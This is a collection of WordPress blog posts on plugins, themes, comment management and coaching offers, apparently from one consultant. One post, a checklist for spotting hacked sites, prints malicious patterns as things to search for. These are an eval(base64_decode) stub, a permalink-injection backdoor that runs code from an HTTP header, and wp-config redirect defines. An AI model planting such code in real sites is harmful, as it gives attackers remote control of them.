I’ve been planning to create a new (and free) information product for the readers of my site, and the subscribers on my email list as a thank you for your subscription.
I would like to get your input on this “thing” I am going to create, can you please answer the following three questions so I create the product you really need.
I will use this “thing” going forward as a reward for new people joining my mailing list.
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Many of you will be aware that I offer one on one WordPress coaching session. I deliver my coaching via a shared screen over the internet and I show people how to solve their WordPress problems.
My problem is that I am based in the wrong time-zone for the majority of my coaching clients, so I cannot book as many coaching sessions as I would like.
I am therefore trialing an e-coaching program which I call Ask WP Dude. This will allow me to provide a coaching service to a much wider audience by conducting the coaching via email.
Tell me your burning WordPress problem and I will teach you how to solve that problem with coaching emails.
The emails will contain descriptions, screen shots and perhaps video how to tutorials to take you through your problem.
The system is designed for people who want to learn more about WordPress, but need a little hand holding.
What’s With The Beta
I’m want to work out all of the bugs in the system before I go live (that means charge for the service).
While it is still in beta, all coaching is free, but please be aware it is a beta test and there may be some delays in getting your coaching reply back to you.
Pop over to Ask WP Dude and ask me your burning WordPress problem.
I wrote a guest post over at Location Independant about fullfilment services if you run a physical product business.
Whilst not directly about WordPress it may interest those of your running e-commerce sites with wordpress.
Check out the guest post at http://locationindependentprofessionals.com
I’ve been fixing an awful lot of hacked sites over the past few weeks, and many site owners do not know they have been hacked until someone tells them, do yourself a favour and check over these items below and make sure your site is okay.
Fire up your favourite ftp client and edit a few of the files in your site root. Look for weird-looking code statements like this.
eval(base64_decode(” A LOAD OF ENCRYPTED CODE GOES HERE “);
An even better method is to download all of your site and run a search on all of the files from your pc or mac. This is the most common hack I am seeing.
Feel free to read the whole post, but I recently starting working with a hack recovery specialist.
I’ve been working with Sucri.net on a number of hacked WordPress sites for my clients. At $80 their hack recovery and security monitoring package is absolutely excellent, get them on the case for a fast hack recovery.
Check Out Your Permalink
Another hack method I have seen is to append some code on the end of the permalink.
Goto settings -> permalink and ensure nothing has been tagged onto the end. This is what I saw/
%postname%/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/
A valid permalink is something link %postname%
A site had been hacked, and the .htaccess file was edited and a 301 redirection to a viagra site. Have a look in your .htaccess file HINT the leading period/full stop marks the file as hidden you will have to make sure your ftp client shows hidden files.
A healthy .hatccess for word press should look like this.
# BEGIN WordPress<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /RewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{REQUEST_FILENAME} !-dRewriteRule . /index.php [L]</IfModule># END WordPress
The site was hacked and a redirection was put in by adding the following entries to the wp-config file
define('WP_SITEURL', 'malicious URL');define('WP_HOME', 'malicious URL);
Check your home page, many blog owners rarely visit the home page of their site, make sure it is not re-directing to a malware site.
The high-profile hack of Chris Brogan’s site saw wierd ads appear on his site, check over your site to make sure there are no weird banner ads
Do a search for your site on Google by typing in:
site:mydomain.com
This will show how Google sees your site, certain hack attacks change your page titles to advertise viagra and other recreational pharmaceuticals check out http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php
Google will also mark your site as “containing malware” if you have been hacked and you are hosting
Check out what searches are bringing people to your site, if you see viagra bringing people to your site as a keyword something is up. If you use WordPress.com stats, that can give you a heads up.
Go to your authors and users section and look for weird admin level users. Common ones I have seen are wordpress.org and system.
If you don’t recognise these users delete them.
I’m not trying to make you paranoid, but you may want to inspect your tables too, I saw one hack attack which had created a rogue table full of malware. The table was called wp_pagemeta, it looks like a proper table by masquerading as a cousin of the real table wp_postmeta. Have a look at your tables can you account for them all? Remember that plugins and themes can create their own tables too.
It’s Not Personal
Most hacked sites are just black hat SEO scam artists trying to increase their ranking, it’s not personal so don’t panic if you find you have been hacked. Don’t take it personally, they are not out to getcha. Give me a call if you find an issue.
It can be repaired. Let me know in the comment if you would like some blog posts on cleaning up a hacked site.
I’ve create a WordPress Hack Recovery Course
Photo credit Kapa Haka
I did a review of Gravity forms the other day, but missed off one of the best features of this tool, and thought an update was required. Here is my original review https://dev.neilmatthews.com/plugin-review-gravityforms
How cool is that, in the past I have done this type of work in a very convoluted manner by setting up post by email, but all you need to do when you have Gravity Forms is setup a form, and using the special form fields, you can pull together all of the
If you have a lot of guest posts or for some reason need user generated content, then this may be for you.
You setup a contact form as normal, but using the special fields in Gravity form, you add post title, post content categories tags etc (see bottom of this post).
A visitor to you site can now add a blog posts from this form without logginng into your backend dashboard.
Once the post has been added it is held as a draft and then an admin or editor level user needs to approve it before it appears on your site.
If you want user generated content, but don’t want to give users access to you backend dashboard, then check out gravurity forms for this task.
If you found this review useful please use my affiliate link – buy Gravity Forms.
If you feel like writing a guest post for me, please use the form below
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I’m very pleased to annouce that a new joint venture between myself and Jonathan and Lea Woodward of Kinetiva and Location Indepenent fame has been launched, and that is our new site PremiumHeadwaySkins.com is now live.
What Is Premium Headway Skins
This is our new site to promote and sell Skins for the Headway wordpress theme. Jonathan, Ace Designer is Cheif crafted the sites, and myself as Admiral Top Techie coded the sites.
It’s a great match of skills, I cannot design for toffee, but I am pretty good at all that coding stuff.
A skin custom design which sits on top of the Headway theme.
The trouble with the excellent framework themes such as Headway and Thesis is that unless you have a certain level of coding skill, you site can look like any number of other sites. A skin takes the hard work of coding up a custom theme and packages it in a simple to use format.
You get a unique design plus the excellent features of the framwork theme.
We have gone live with two skins, with a third in production. The first is designed for people selling professional services, we have two colour versions and some very slick design elements.
The second is a single page sales letter for people sellling digital products. We have designs for memberships sites, ebooks and audio products in three colour schemes.
Please visit our site and let us know what you think. PremiumHeadwaySkins.com
A quick post for all of you using the excellent Headway theme, If you don’t use Headway sorry for the interuption
I have just launched a new site to promote my Headway Leafs over at premiumheadwayleafs.com
A Leaf is a content component which you can place on your pages using the visual editor. Think of leafs as widgets on steroids they can be places anywhere in you design not just on a sidebar,
The leaves I have developed are:
Stay tuned next week for an annoucement on a Headway Skins project I have been working on
A lot of bloggers get very hung up about the number of comments they get. Many writers are very insecure about their low comment count, they think that a huge number of comments are a validation of their writing, yours truly included.
I want to share a story with you about a client of mine with the exact opposite problem, he had too many comments and it was causing real problems with his site.
Let me just say that again, this site had more than half a million legitimate comments, not spam, not great post thumbs up, but honest really valuable comments discussing the content. If I can put that into perspective, A-list blogger Darren Rowse at Problogger.net recentl stated that he has 178K comments, we say pah to poultry levels like that.
The comments came in a huge rush because of the time sensitive nature of the blog posts, and this in turn overloaded the database and caused the whole site to crash.
I was called in to performance tune the site and stop the site crashing under the load of comments.
It may be that you are overwhelmed by comments, with too many to reply to, or you are being inundated with SPAM, the rest of this posts gives you some ideas to control your comments, you may not have half a million, but you can have too many comments Here are some of the techniques I used with the inundated site.
Contraversial I know, but why not just close your comments if you have become overwhelmed, why not just close comments, let you readers know the reason and say you cannot keep up with comment moderation and it is impacting on the quality of the content you are producing. A number of successful bloggers have gone this route.
I find I am getting more feedback from Twitter now a days, it may be that comments have had their day anyway (but that’s for another post).
It may seem an obvious point, but I still see sites without anti-comment spam protection. My favourite tool for this is Akismet see http://akismet.com/
Install an antispam plugin, and keep the rubbish out of your comment moderation queue
There is an option on your discussion settings (settings->discussion) to close comments on posts that are over x days old. If you content is time sensitive, why not consider this route?
If you scroll down to the discussion section of the post editor, there is an option to selectively disabled comments on a post. If you don’t want to handle comments on a post, disable them. only keep comments open on your key posts.
Add a little discomfort to the commenting process by requiring authentication, people are less likely to comment, unless they are determined to if they need to register on your site and then login.
If comments are causing a large load on your server and impacting performance, why not consider offloading comments to someone elses server.
Intense Debate is a commenting platform developed by Automattic (the company behind WordPress) which allows you to host your comments on their system. Let them take the performance hit for you.
Junk everything that does not add value to your content, and let your reader know that, whilst you appreciate a great post thumbs up, you will not be publishing their comment unless it adds value to the post in question.
This will have an initial moderation overhead but once your readers get the message you will hopefully see less low quality comments and reduce your moderation admin job.
Code up Comment Flood Protection
In the end I coded up a custom solution for my client, I edited one of the comment add scripts, with a delay function, five seconds has to pass before the next comment can be added this is used to control the flow of comments and stop the backend database.
Check out a couple of these idea to see if you can ease a problem most bloggers would kill for.
Writing a series of blog posts is a great idea for creating anticipation with your readers and making your blog more sticky or making it more likely that readers will come back.
If you can develop a compelling series of blog posts which you drip feed to your audience, they will be hanging on every word, looking forward to the next installment and possibly subscribing to your feed.
It is also a great way to break down a big topic into more manageable chunks so that:
1) it is less daunting to write
2) It is more palatable for your readers to consume in small chunks.
One problem with writing a series of posts is that you need to link to the other posts in the collection, and this can be a little fiddly to update and keep all these links in order.
Never fear in-series is here.
The plugin I like to use for this task is in-series.http://wordpress.org/extend/plugins/in-series/ This is a tiny little plugin, but it does the job very well.
In series puts a table of contents at the top of every post you mark as a series, it also automatically updates the posts with links when you add a new post.
It also adds a link at the bottom of your posts with pointers to the next or previous post in the series.
You can see it in action on my series about backup and recovery https://dev.neilmatthews.com/backup-recovery-introduction
How Does it work?
A little widget is added to the edit posts page, near the bottom, using this you can create a new series, or add a post to the start or the end of the series.
The only downside of this plugin is the way you need to bubble posts up or down if you add them to the series in the wrong order, but this is still easier that changing a load of links in several posts.
The tiny footprint and unassuming interface of the plugin masks some brilliant functionality, if you are planning a series of posts check our in-series to save you quite a bit of work updating your links
I would appreciate a couple of minutes of your time to complete this survey about creating custom themes.
I am considering a group coaching project to take a number of people through the process of creating a custom theme for their WordPress site. I want to judge the need for this project.
My idea is to step through the design process, and to take that design and make it a complete custom design building upon the headway theme framework on my development server. The last part of this process is to export the new custom theme to your live site.
The process will be group coaching sessions with me (and maybe some others) and access to a development area on my site to build your custom theme in a safe location where you cannot impact your live site. I will make myself available to support your development thoughout the process so at the end of the sessions you have your own custom designed blog themes.
My current thinking is a six week process of coaching and development. My rough outline of the sessions will be:
Please complete the survey below and let me know what you think.
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When you are making changes to your site such as implementing a new theme, you may not want visitors to see your site as a work in progress.
People will make a snap decision about your site, if it is not looking at it’s best you risk loosing that visitor as a subscriber or as a customer for your products or services.
Guess what there is a plugin to solve this problem.
My favourite plugin to solve this problem is called maintenance mode http://wordpress.org/extend/plugins/maintenance-mode/.
This plugin allows you to intercept all visitors to your site and display a maintenance message to them letting them know your site is offline for a short period of time.
The plugin checks to see if the site visitor is logged in, if they are, they can see the site as normal, if they are not logged in, a special message is displayed, telling people the site is offline for essential maintenance.
The message displayed to visitors is completely configurable, but be aware this is an html page so some understanding of the markup tags is required.
There is a default message you can tailor.
There are a number of options for this plugin including:
Make certain pages / posts available during your maintenance mode. This is very useful if you have vital pages you need available during your downtime. An example of this may be your services sales page if you are running an advertising campaign. You don’t want to pay for advertising clicks that cannot connect to their target page
There is an option to set a search engine friendly 503 service not available code, this tells the search engines your site is down for maintenance and not to attempt to re-index. This may protect your site rankings if you are planning to take your content offline for an extended period of time.
Disable back end access to admins only. If you have users on your site, if they login they could get access to your content, if you want to lock everyone out, use this option.
One great feature of maintenance mode is the red nag box, it is very easy to forget that your site is locked down when you are logged on and can see the site as normal
I have fallen foul of this a number of times, please remember to deactivate the plugin as soon as your site is back up.
I am currently working on a project with Jonathan Woodward , we are not ready to take the covers off our venture, so the site is wrapped with maintenance mode.
I customised the message by adding a sign up form for our email list.
Get an idea of what the plugin looks like at premiumheadwayskins.com
If you have a need to stop access to your site for a short period of time, consider using the maintenance mode plugin.
